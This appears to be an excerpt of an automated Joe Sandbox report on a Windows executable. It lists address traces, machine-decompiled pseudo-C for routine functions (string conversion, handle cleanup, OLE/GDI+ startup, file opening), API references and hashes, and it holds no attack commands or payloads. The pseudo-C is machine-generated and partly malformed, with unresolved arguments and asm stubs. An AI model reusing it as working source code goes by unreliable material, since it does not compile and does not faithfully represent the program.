0x013acd35
0x013acd37
0x013acd47
0x013acd4d
0x013acd50
0x013acd52
0x013acd5d
0x013acd63
0x013acd68
0x013acd6f
0x013acd75
0x00000000
0x013acd75
0x013acd39
0x013acd3b
0x013acd77
0x013acd77
0x013acd7c
0x013acd7f
0x013acd81
0x013acd81
0x013acd88
0x013acd8c
0x013acd8e
0x013acd91
0x013acd95
0x013acd96
0x013acd96
0x013acd98
0x013acd9c
0x013acd9d
0x013acda0
0x00000000
0x00000000
0x013acda2
0x013acda6
0x013acde0
0x013acde3
0x013acded
0x013acdef
0x013acde5
0x013acde7
0x013acde8
0x013acdeb
0x00000000
0x00000000
0x013acdeb
0x00000000
0x013acda8
0x013acdac
0x013acdac
0x013acdaf
0x013acdd6
0x00000000
0x013acdb1
0x013acdb1
0x013acdb1
0x013acdb4
0x013acdd2
0x00000000
0x013acdb6
0x013acdb6
0x013acdb6
0x013acdb9
0x013acdce
0x00000000
0x013acdbb
0x013acdbb
0x013acdbb
0x013acdbe
0x013acdca
0x00000000
0x013acdc0
0x013acdc1
0x013acdc4
0x013acdf0
0x013acdf0
0x013acdc6
0x013acdc6
0x013acdd8
0x013acdd8
0x013acdd9
0x013acddd
0x013acddd
0x013acdc4
0x013acdbe
0x013acdb9
0x013acdb4
0x013acdaf
0x013acdf4
0x013acdf7
0x013acdf8
0x013acdfb
0x00000000
0x00000000
0x00000000
0x013acdfb
0x013acd96
0x013acdfd
0x013acdff
0x013ace01
0x013ace05
0x013ace05
0x013acd37
0x013acd18
0x013ace08
0x013ace0e
0x013ace19
0x013ace23

APIs

__EH_prolog.LIBCMT ref: 013ACB21
_wcschr.LIBVCRUNTIME ref: 013ACB3F
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,013ACB03,?), ref: 013ACB5A

Part of subcall function 013B06D7: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,013AB2AB,00000000,?,?,?,?), ref: 013B06F3

Strings

*messages***, xrefs: 013ACC26
R, xrefs: 013ACC71
a, xrefs: 013ACC7B
*messages***, xrefs: 013ACC5F

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ByteCharFileH_prologModuleMultiNameWide_wcschr
String ID: *messages***$*messages***$R$a
API String ID: 803915177-2900423073
Opcode ID: 6b0be7a6785117e6ee4ba178f19069e7a207280926177b1f184f7c512be49714
Instruction ID: cf1ed409a6388263f8a3f6de3bd60d21365749f7b9383640327c4108e033067f
Opcode Fuzzy Hash: 6b0be7a6785117e6ee4ba178f19069e7a207280926177b1f184f7c512be49714
Instruction Fuzzy Hash: 7D9145B2A002059AEB30DF6CCC54FEEBBA4EF5571CF40456AE649B7290DA709981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013C739F Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E013C739F(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E013CB9AE(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E013BD763(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E013C7607(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E013C79FA(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0); // executed
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E013C7607(_t101);
									goto L36;
								}
								_t62 = E013C79FA(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E013C7607(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E013C59EC(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E013CF160();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E013C79FA(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E013C59EC(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E013CF160();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x013c73a4
0x013c73a5
0x013c73a6
0x013c73ad
0x013c73b1
0x013c73b2
0x013c73b8
0x013c73be
0x013c73c4
0x013c73c7
0x013c73c7
0x013c73ca
0x013c73cc
0x013c73cc
0x013c73ca
0x013c73ce
0x013c73d3
0x013c73da
0x013c73dd
0x013c73dd
0x013c73f9
0x013c73ff
0x013c7404
0x013c7597
0x013c75aa
0x013c740a
0x013c740a
0x013c740d
0x013c7412
0x013c7416
0x013c746a
0x013c746a
0x013c746c
0x013c746e
0x013c758c
0x013c758c
0x013c758e
0x013c758f
0x00000000
0x013c7595
0x013c747f
0x013c7485
0x013c7487
0x00000000
0x00000000
0x013c748d
0x013c749f
0x013c74a4
0x013c74a8
0x00000000
0x00000000
0x013c74b5
0x013c74ef
0x013c74f2
0x013c74f5
0x013c74f7
0x013c74f9
0x013c74fb
0x013c7547
0x013c7547
0x013c7549
0x013c7549
0x013c754b
0x013c7585
0x013c7586
0x00000000
0x013c758b
0x013c755f
0x013c7564
0x013c7566
0x00000000
0x00000000
0x013c756a
0x013c756b
0x013c756c
0x013c756f
0x013c75ab
0x013c75ae
0x013c7571
0x013c7571
0x013c7572
0x013c7572
0x013c757f
0x013c7581
0x013c7583
0x013c75b4
0x00000000
0x00000000
0x00000000
0x00000000
0x013c7583
0x013c74fd
0x013c7500
0x013c7502
0x013c7504
0x013c7506
0x013c7509
0x013c750e
0x013c7529
0x013c752b
0x013c7535
0x013c7537
0x013c7538
0x013c753a
0x00000000
0x00000000
0x013c753c
0x013c7542
0x013c7542
0x00000000
0x013c7542
0x013c7510
0x013c7512
0x013c7516
0x013c751b
0x013c751d
0x013c751f
0x00000000
0x00000000
0x013c7521
0x00000000
0x013c7521
0x013c74b7
0x013c74bc
0x00000000
0x00000000
0x013c74c2
0x013c74c4
0x00000000
0x00000000
0x013c74db
0x013c74e0
0x013c74e4
0x00000000
0x00000000
0x00000000
0x013c74ea
0x013c741d
0x013c741f
0x013c7421
0x013c7429
0x013c7448
0x013c744a
0x013c7454
0x013c7456
0x013c7457
0x013c7459
0x00000000
0x00000000
0x013c745f
0x013c7465
0x013c7465
0x00000000
0x013c7465
0x013c742d
0x013c7431
0x013c7436
0x013c743a
0x00000000
0x00000000
0x013c7440
0x00000000
0x013c7440

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,013C2FB2,013C2FB2,?,?,?,013C75F0,00000001,00000001,F5E85006), ref: 013C73F9
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,013C75F0,00000001,00000001,F5E85006,?,?,?), ref: 013C747F
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,F5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 013C7579
__freea.LIBCMT ref: 013C7586

Part of subcall function 013C59EC: RtlAllocateHeap.NTDLL(00000000,?,?,?,013C239A,?,0000015D,?,?,?,?,013C2F19,000000FF,00000000,?,?), ref: 013C5A1E

__freea.LIBCMT ref: 013C758F
__freea.LIBCMT ref: 013C75B4

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 08b3da10aeb602e34aa8dda566598fe4ebd015eaf94b9734b8b8465f2a54c888
Instruction ID: 2361bd965421573de5bf351d39f50a74f874ba1bf4b17a1480c5e01af3c7c314
Opcode Fuzzy Hash: 08b3da10aeb602e34aa8dda566598fe4ebd015eaf94b9734b8b8465f2a54c888
Instruction Fuzzy Hash: A551B17261025AAFEB258E68CC41EBF7BAAEB54E58F15466DFD04D7140EB34DC40CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013AFA23 Relevance: 7.5, APIs: 5, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E013AFA23(void* __ecx) {
				intOrPtr _v16;
				void* __ebp;
				int _t16;
				void** _t21;
				long* _t25;
				void* _t28;
				void* _t30;
				intOrPtr _t31;

				_t22 = __ecx;
				_push(0xffffffff);
				_push(E013CF605);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t31;
				_t28 = __ecx;
				E013AFDB7(__ecx);
				_t25 = 0;
				 *((char*)(__ecx + 0x194)) = 1;
				ReleaseSemaphore( *(__ecx + 0x198), 0x20, 0);
				if( *((intOrPtr*)(_t28 + 0x84)) > 0) {
					_t4 = _t28 + 4; // 0x6c4304
					_t21 = _t4;
					do {
						E013AFB19(_t22, _t30,  *_t21);
						FindCloseChangeNotification( *_t21); // executed
						_t25 = _t25 + 1;
						_t21 =  &(_t21[1]);
					} while (_t25 <  *((intOrPtr*)(_t28 + 0x84)));
				}
				_t7 = _t28 + 0x1a0; // 0x6c44a0
				DeleteCriticalSection(_t7);
				FindCloseChangeNotification( *(_t28 + 0x198)); // executed
				_t16 = CloseHandle( *(_t28 + 0x19c));
				 *[fs:0x0] = _v16;
				return _t16;
			}

0x013afa23
0x013afa2c
0x013afa2e
0x013afa33
0x013afa34
0x013afa3e
0x013afa40
0x013afa45
0x013afa47
0x013afa57
0x013afa63
0x013afa65
0x013afa65
0x013afa68
0x013afa6a
0x013afa71
0x013afa77
0x013afa78
0x013afa7b
0x013afa68
0x013afa83
0x013afa8a
0x013afa96
0x013afaa2
0x013afaad
0x013afab8

APIs

Part of subcall function 013AFDB7: ResetEvent.KERNEL32(?,006C4300,013AFA45,013E1E74,006C4300,?,-00000001,013CF605,000000FF,?,013AFC7B,?,?,013AA5F0,?), ref: 013AFDD7
Part of subcall function 013AFDB7: ReleaseSemaphore.KERNEL32(?,?,00000000,?,-00000001,013CF605,000000FF,?,013AFC7B,?,?,013AA5F0,?), ref: 013AFDEB

ReleaseSemaphore.KERNEL32(?,00000020,00000000), ref: 013AFA57
FindCloseChangeNotification.KERNELBASE(006C4304,006C4304), ref: 013AFA71
DeleteCriticalSection.KERNEL32(006C44A0), ref: 013AFA8A
FindCloseChangeNotification.KERNELBASE(?), ref: 013AFA96
CloseHandle.KERNEL32(?), ref: 013AFAA2

Part of subcall function 013AFB19: WaitForSingleObject.KERNEL32(?,000000FF,013AFCF9,?,?,013AFD6E,?,?,?,?,?,013AFD58), ref: 013AFB1F
Part of subcall function 013AFB19: GetLastError.KERNEL32(?,?,013AFD6E,?,?,?,?,?,013AFD58), ref: 013AFB2B

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Close$ChangeFindNotificationReleaseSemaphore$CriticalDeleteErrorEventHandleLastObjectResetSectionSingleWait
String ID:
API String ID: 3803654862-0
Opcode ID: b375eaa3e640e6c101c260012175b8b3df2e88aea633e474acffe91b2da38bb9
Instruction ID: 1c84fd1409a9f0454f2e5c7c3dabea7577bcb7f5e0569b18d5ba6170303718f9
Opcode Fuzzy Hash: b375eaa3e640e6c101c260012175b8b3df2e88aea633e474acffe91b2da38bb9
Instruction Fuzzy Hash: E601B132000B44EFC7319F28ED48FCABBEEFB45B14F404519F2AA92528CB712804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 013C8448 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E013C8448(signed int __ebx, void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				char _v8;
				char _v16;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t31;
				signed int _t36;
				char _t40;
				intOrPtr _t44;
				char _t45;
				signed int _t51;
				void* _t64;
				void* _t70;
				signed int _t75;
				void* _t81;

				_t81 = __eflags;
				_v8 = E013C630E(__ebx, __ecx, __edx);
				E013C8567(__ebx, __ecx, __edx, _t81);
				_t31 = E013C81DC(_t81, _a4);
				_v16 = _t31;
				_t57 =  *(_v8 + 0x48);
				if(_t31 ==  *((intOrPtr*)( *(_v8 + 0x48) + 4))) {
					return 0;
				}
				_push(__ebx);
				_t70 = E013C59EC(_t57, 0x220);
				_t51 = __ebx | 0xffffffff;
				__eflags = _t70;
				if(__eflags == 0) {
					L5:
					_t75 = _t51;
					goto L6;
				} else {
					_t70 = memcpy(_t70,  *(_v8 + 0x48), 0x88 << 2);
					 *_t70 =  *_t70 & 0x00000000; // executed
					_t36 = E013C8609(_t51, _t70,  *(_v8 + 0x48), __eflags, _v16, _t70); // executed
					_t75 = _t36;
					__eflags = _t75 - _t51;
					if(_t75 != _t51) {
						__eflags = _a8;
						if(_a8 == 0) {
							E013C579E();
						}
						asm("lock xadd [eax], ebx");
						__eflags = _t51 == 1;
						if(_t51 == 1) {
							_t45 = _v8;
							__eflags =  *((intOrPtr*)(_t45 + 0x48)) - 0x13da680;
							if( *((intOrPtr*)(_t45 + 0x48)) != 0x13da680) {
								E013C59B2( *((intOrPtr*)(_t45 + 0x48)));
							}
						}
						 *_t70 = 1;
						_t64 = _t70;
						_t70 = 0;
						 *(_v8 + 0x48) = _t64;
						_t40 = _v8;
						__eflags =  *(_t40 + 0x350) & 0x00000002;
						if(( *(_t40 + 0x350) & 0x00000002) == 0) {
							__eflags =  *0x13da900 & 0x00000001;
							if(( *0x13da900 & 0x00000001) == 0) {
								_v16 =  &_v8;
								E013C80B2(5,  &_v16);
								__eflags = _a8;
								if(_a8 != 0) {
									_t44 =  *0x13da8a0; // 0x6a2058
									 *0x13da374 = _t44;
								}
							}
						}
						L6:
						E013C59B2(_t70);
						return _t75;
					} else {
						 *((intOrPtr*)(E013C5E2E())) = 0x16;
						goto L5;
					}
				}
			}

0x013c8448
0x013c8455
0x013c8458
0x013c8460
0x013c8469
0x013c846c
0x013c8472
0x00000000
0x013c8474
0x013c8478
0x013c8485
0x013c8487
0x013c848b
0x013c848d
0x013c84bd
0x013c84bd
0x00000000
0x013c848f
0x013c849c
0x013c84a2
0x013c84a5
0x013c84aa
0x013c84ae
0x013c84b0
0x013c84cf
0x013c84d3
0x013c84d5
0x013c84d5
0x013c84e0
0x013c84e4
0x013c84e5
0x013c84e7
0x013c84ea
0x013c84f1
0x013c84f6
0x013c84fb
0x013c84f1
0x013c84fc
0x013c8502
0x013c8507
0x013c8509
0x013c850c
0x013c850f
0x013c8516
0x013c8518
0x013c851f
0x013c8524
0x013c852d
0x013c8532
0x013c8538
0x013c853a
0x013c853f
0x013c853f
0x013c8538
0x013c851f
0x013c84bf
0x013c84c0
0x00000000
0x013c84b2
0x013c84b7
0x00000000
0x013c84b7
0x013c84b0

APIs

Part of subcall function 013C630E: GetLastError.KERNEL32(?,013DCBE8,013C2664,013DCBE8,?,?,013C2203,?,?,013DCBE8), ref: 013C6312
Part of subcall function 013C630E: _free.LIBCMT ref: 013C6345
Part of subcall function 013C630E: SetLastError.KERNEL32(00000000,?,013DCBE8), ref: 013C6386
Part of subcall function 013C630E: _abort.LIBCMT ref: 013C638C

Part of subcall function 013C8567: _abort.LIBCMT ref: 013C8599
Part of subcall function 013C8567: _free.LIBCMT ref: 013C85CD

Part of subcall function 013C81DC: GetOEMCP.KERNEL32(00000000,?,?,013C8465,?), ref: 013C8207

_free.LIBCMT ref: 013C84C0
_free.LIBCMT ref: 013C84F6

Strings

X j, xrefs: 013C853A
X j, xrefs: 013C853F

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID: X j$X j
API String ID: 2991157371-744815089
Opcode ID: 15706ec78b82089ab84f59b699b094585cca87d10d1a28fd8da7a7307bfb594f
Instruction ID: 16c52f7e0c88a99eee34ef711bb97e812249f4e12dd8e3990cfd01dd57a6fa75
Opcode Fuzzy Hash: 15706ec78b82089ab84f59b699b094585cca87d10d1a28fd8da7a7307bfb594f
Instruction Fuzzy Hash: 51318231904109AFDB21EFACD540BADBBF5EF41B28F2541DDD908AB291EB75AE40CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013B8FC7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E013B8FC7(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				WCHAR* _t9;
				long _t11;

				_t11 = _a4;
				_t5 = GetClassNameW(_t11,  &_v164, 0x50);
				if(_t5 != 0) {
					_t9 = L"EDIT";
					_t5 = E013B0B00( &_v164, _t9);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t11, 0, _t9, 0); // executed
						_t11 = _t5;
					}
				}
				if(_t11 != 0) {
					_t6 = SHAutoComplete(_t11, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x013b8fd7
0x013b8fde
0x013b8fe6
0x013b8fe9
0x013b8ff6
0x013b8ffd
0x013b9005
0x013b900b
0x013b900b
0x013b900d
0x013b9010
0x013b9015
0x00000000
0x013b9015
0x013b901f

APIs

GetClassNameW.USER32(?,?,00000050), ref: 013B8FDE
SHAutoComplete.SHLWAPI(?,00000010), ref: 013B9015

Part of subcall function 013B0B00: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,013AAC99,?,?,?,013AAC48,?,-00000002,?,00000000,?), ref: 013B0B16

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 013B9005

Strings

EDIT, xrefs: 013B8FE9, 013B8FF4, 013B9001

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 4d688b64ef72d1b9e9c4d6554be20ce132fffa311e5d77d54206bcae350fc2e0
Instruction ID: fee18104cf3245864f6adaf625dc95c861ce0a9142f6b0b269d1823e4933b28c
Opcode Fuzzy Hash: 4d688b64ef72d1b9e9c4d6554be20ce132fffa311e5d77d54206bcae350fc2e0
Instruction Fuzzy Hash: C7F08272A0132C67FB309969AD05FDB7AAC9B4AB15F050155BB00E7584E760D901C7F6

Uniqueness

Uniqueness Score: -1.00%

Function 013B9035 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E013B9035(intOrPtr* __ecx) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				intOrPtr _t10;

				_t10 = E013AF35B(L"riched20.dll"); // executed
				 *__ecx = _t10;
				 *0x13dab60(0); // executed
				_v16 = 8;
				_v12 = 0x7ff;
				 *0x13daa14( &_v16);
				_v32 = 1;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				L013BCDA0(); // executed
				 *0x13daa68(0x13e20e8,  &_v8,  &_v32, 0); // executed
				return __ecx;
			}

0x013b9044
0x013b904b
0x013b904e
0x013b9057
0x013b905f
0x013b9066
0x013b9070
0x013b907b
0x013b907f
0x013b9082
0x013b9085
0x013b908f
0x013b909c

APIs

Part of subcall function 013AF35B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 013AF376
Part of subcall function 013AF35B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,013ADF18,Crypt32.dll,?,013ADF9C,?,013ADF7E,?,?,?,?), ref: 013AF398

OleInitialize.OLE32(00000000), ref: 013B904E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 013B9085
SHGetMalloc.SHELL32(013E20E8), ref: 013B908F

Strings

riched20.dll, xrefs: 013B903D

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: ace9d661ec4cae8bb57f7e628ca10cd1d6acac89116ed31ab8b5e09c76f7c5c1
Instruction ID: a97d92e182171256f45854fca8ace3b793f39116c6d2d409cad2bc4702b7f8b9
Opcode Fuzzy Hash: ace9d661ec4cae8bb57f7e628ca10cd1d6acac89116ed31ab8b5e09c76f7c5c1
Instruction Fuzzy Hash: 4CF03CB5800209ABCB20AF9AE9489EEFFFCEB94304F00415AE804A2200DBB416458BA1

Uniqueness

Uniqueness Score: -1.00%

Function 013A978D Relevance: 6.1, APIs: 4, Instructions: 99
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E013A978D(void* __ecx, void* __esi, long _a4, short _a8, WCHAR* _a4108, signed char _a4112) {
				long _v0;
				long _t36;
				void* _t37;
				long _t46;
				signed char _t48;
				long _t51;
				signed int _t52;
				struct _SECURITY_ATTRIBUTES* _t55;
				void* _t59;
				void* _t61;
				long _t65;
				void* _t68;

				_t61 = __esi;
				E013BCEC0();
				_t48 = _a4112;
				_t59 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1020)) = 0;
				if( *((intOrPtr*)(__ecx + 0x1c)) != 0) {
					L2:
					_t55 = 1;
					L3:
					_push(_t61);
					asm("sbb esi, esi");
					_t65 = ( ~(_t48 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
					if((_t48 & 0x00000001) != 0) {
						_t65 = _t65 | 0x40000000;
					}
					_t51 =  !(_t48 >> 3) & 0x00000001;
					if(_t55 != 0) {
						_t51 = _t51 | 0x00000002;
					}
					_t36 = (0 |  *((intOrPtr*)(_t59 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
					_a4 = _t36;
					_t37 = CreateFileW(_a4108, _t65, _t51, 0, 3, _t36, 0); // executed
					_t68 = _t37;
					if(_t68 != 0xffffffff) {
						L14:
						 *((char*)(_t59 + 0x12)) = 0;
						_t52 = _t51 & 0xffffff00 | _t68 != 0xffffffff;
						 *((intOrPtr*)(_t59 + 0xc)) = 0;
						 *((char*)(_t59 + 0x10)) = 0;
						if(_t68 != 0xffffffff) {
							 *(_t59 + 4) = _t68;
							E013AF160(_t59 + 0x1e, _a4108, 0x800);
						}
						return _t52;
					} else {
						_v0 = GetLastError();
						if(E013AB2C5(_a4108,  &_a8, 0x800) == 0) {
							L12:
							if(_v0 == 2) {
								 *((intOrPtr*)(_t59 + 0x1020)) = 1;
							}
							goto L14;
						}
						_t68 = CreateFileW( &_a8, _t65, _t51, 0, 3, _a4, 0);
						_t46 = GetLastError();
						if(_t46 == 2) {
							_v0 = _t46;
						}
